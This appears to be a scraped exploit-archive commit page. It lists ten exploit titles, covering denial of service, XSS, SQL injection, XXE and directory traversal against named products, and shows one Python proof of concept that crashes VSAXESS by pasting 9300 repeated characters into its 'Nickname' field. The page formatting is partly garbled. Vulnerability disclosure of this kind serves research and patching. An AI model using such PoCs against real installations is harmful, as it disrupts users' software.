925b2171f4
10 changes to exploits/shellcodes VSAXESS V2.6.2.70 build20171226_053 - 'Nickname' Denial of Service (PoC) Visual Ping 0.8.0.0 - 'Host' Denial of Service (PoC) D-Link DIR-615 - Denial of Service (PoC) Symantec Mobile Encryption for iPhone 2.1.0 - 'Server' Denial of Service (PoC) Microsoft Windows Explorer Out-of-Bound Read - Denial of Service (PoC) Trend Micro Virtual Mobile Infrastructure 5.5.1336 - 'Server address' Denial of Service (PoC) Wikipedia 12.0 - Denial of Service (PoC) Argus Surveillance DVR 4.0.0.0 - Directory Traversal Cybrotech CyBroHttpServer 1.0.3 - Directory Traversal WordPress Plugin Jibu Pro 1.7 - Cross-Site Scripting Argus Surveillance DVR 4.0.0.0 - Directory Traversal Cybrotech CyBroHttpServer 1.0.3 - Directory Traversal WordPress Plugin Jibu Pro 1.7 - Cross-Site Scripting WordPress Plugin Quizlord 2.0 - Cross-Site Scripting Cybrotech CyBroHttpServer 1.0.3 - Cross-Site Scripting Vox TG790 ADSL Router - Cross-Site Scripting WordPress Plugin Quizlord 2.0 - Cross-Site Scripting Cybrotech CyBroHttpServer 1.0.3 - Cross-Site Scripting Vox TG790 ADSL Router - Cross-Site Scripting FsPro Labs Event Log Explorer v4.6.1.2115 - XML External Entity Injection Admidio 3.3.5 - Cross-Site Request Forgery (Change Permissions) Online Quiz Maker 1.0 - 'catid' SQL Injection
26 lines
No EOL
884 B
Python
Executable file
26 lines
No EOL
884 B
Python
Executable file
# Exploit Title: VSAXESS V2.6.2.70 build20171226_053 - 'Nickname' Denial of Service (PoC)
|
|
# Discovery by: Diego Santamaria
|
|
# Discovery Date: 2018-08-31
|
|
# Vendor Homepage: https:https://www.visionistech.com/en/home/
|
|
# Software Link: https://www.visionistech.com/en/vsaxess-desktop-software/
|
|
# Tested Version: V2.6.2.70 build20171226_053
|
|
# Vulnerability Type: Denial of Service (DoS) Local
|
|
# Tested on OS: Windows 7 Professional
|
|
|
|
# Steps to Reproduce:
|
|
|
|
# 1. Run the python code Nickname.py
|
|
# 2. Open nickname_exploit.txt and copy the content
|
|
# 3. Open VSAXESS.exe
|
|
# 4. Register a password and username
|
|
# 5. choose 'Add'
|
|
# 6. choose 'Serial Port'
|
|
# 6. Paste the content from nickname_exploit.txt on 'Nickname'
|
|
# 7. Press 'Aceptar' and Crashed
|
|
|
|
#!/usr/bin/env python
|
|
|
|
content = "\x41" * 9300
|
|
f = open ("nickname_exploit.txt", "w")
|
|
f.write(content)
|
|
f.close() |